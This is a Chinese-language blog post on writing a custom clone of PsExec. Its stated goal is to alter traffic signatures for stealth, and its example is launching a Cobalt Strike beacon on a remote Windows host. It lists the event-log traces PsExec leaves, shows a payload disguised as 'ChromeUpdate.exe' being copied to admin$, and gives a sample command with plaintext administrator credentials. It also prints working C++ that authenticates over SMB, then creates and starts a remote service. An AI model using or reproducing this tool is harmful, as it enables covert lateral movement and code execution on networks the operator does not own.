实现一个仿造的Psexec


前言

初衷改变些许的流量特征,增强隐蔽性,此处以进行cs上线为案例,同样能够执行其他exe应用程序,未来或许将增加交互功能

常规痕迹

此处查看psexec常规日志&流量中的痕迹,安全日志内登录情况如下,触发多个4624包含相关计算机名、ip、用户名等,认证为NTLMv2

部分4648日志痕迹如下,记录相关svc痕迹:

7045提示服务被安装、7036显示服务已经启动

基本分析完后可得通过身份认证,创建服务从而执行目标程序,网络分析省略,可看先前发过的文章,文章内以实现后的网络流量进行分析

实际编写

此处效仿psexec实现相同构造利用,建立连接、复制文件、创建服务、执行程序

具体流量

192.168.159.149同192.168.159.143进行三次握手、协商认证方式

向\\192.168.159.143\admin$写入改版后的程序ChromeUpdate.exe

利用openservicemanager来安装服务

此处利用相仿的psexec实现cs上线

动态效果如下
19.exe 192.168.159.143 administrator Aa123456 C:\Users\Administrator\Desktop\1.exe test

核心代码

创建连接:
//结构示例https://docs.microsoft.com/zh-cn/windows/win32/wnet/retrieving-information-about-a-network-resource
    // 用于存放SMB共享资源格式
    PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
    DWORD retuanval; // 函数返回值
    NETRESOURCE nr; // 连接的详细信息 结构https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/ns-winnetwk-netresourcea
    DWORD dwFlags = CONNECT_UPDATE_PROFILE; // 连接选项,操作系统将在用户登录时自动尝试恢复连接。

    ZeroMemory(&nr, sizeof(NETRESOURCE));
    swprintf(lpwsIPC, L"\\\\%s\\admin$", lpwsHost);//连接到admin$
    nr.dwType = RESOURCETYPE_ANY; // 枚举所有资源
    nr.lpLocalName = NULL;
    nr.lpRemoteName = lpwsIPC; // 资源的网络名
    nr.lpProvider = NULL;


    retuanval = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
    if (retuanval == NO_ERROR) {
        // 返回NO_ERROR则成功
        wprintf(L"connect success %s\n", nr.lpRemoteName);
        return retuanval;
    }

创建服务:
//因为WNetAddConnection2已经认证过了,所以OpenSCManager不需要认证

    SC_HANDLE hSCM;//服务句柄
    SC_HANDLE hService;
    //SERVICE_STATUS service_s;
    // GENERIC_WRITE = STANDARD_RIGHTS_WRITE | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_MODIFY_BOOT_CONFIG
    hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);//目标计算机名,服务控制管理器数据库的名称,服务控制管理器的访问控制权限
    //与指定的计算机上的服务管理器建立连接并打开指定的服务控制管理数据库
    //返回值成功则为指定服务控制管理器数据库的句柄,失败则为NULL
    if (hSCM == NULL) {
        cout << "OpenSCManager fail " << GetLastError() << endl;
        return -1;
    }

    hService = CreateService(//https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea//创建服务对象并将其添加到指定的服务控制管理器数据库
        //函数成功,返回值是服务的句柄
        hSCM, // 服务控制管理器数据库的句柄,OpenSCManager返回  
        lpwsServiceName, // 要安装的服务的名称
        lpwsServiceName, // 用户界面程序用来标识服务的显示名称
        GENERIC_ALL, // 访问权限
        SERVICE_WIN32_OWN_PROCESS, // 与一个或多个其他服务共享一个流程的服务
        SERVICE_DEMAND_START, // 当进程调用StartService函数时,由服务控制管理器启动的服务 。
        SERVICE_ERROR_IGNORE, // 启动程序将忽略该错误并继续启动操作
        lpwsServicePath, // 服务二进制文件的标准路径
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);
    if (hService == NULL) {//返回失败为null
        cout << "CreateService fail " << GetLastError() << endl;
        return -1;
    }
    cout << "create service success : " << lpwsServicePath << endl;
    hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
    if (hService == NULL) {
        cout << "OpenService fail: " << GetLastError() << endl;
        return -1;
    }
    cout << "OpenService succss" << endl;

    StartService(hService, NULL, NULL);//启动服务 https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-startservicea

    return 0;

Author: Yangsir
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Yangsir !
  TOC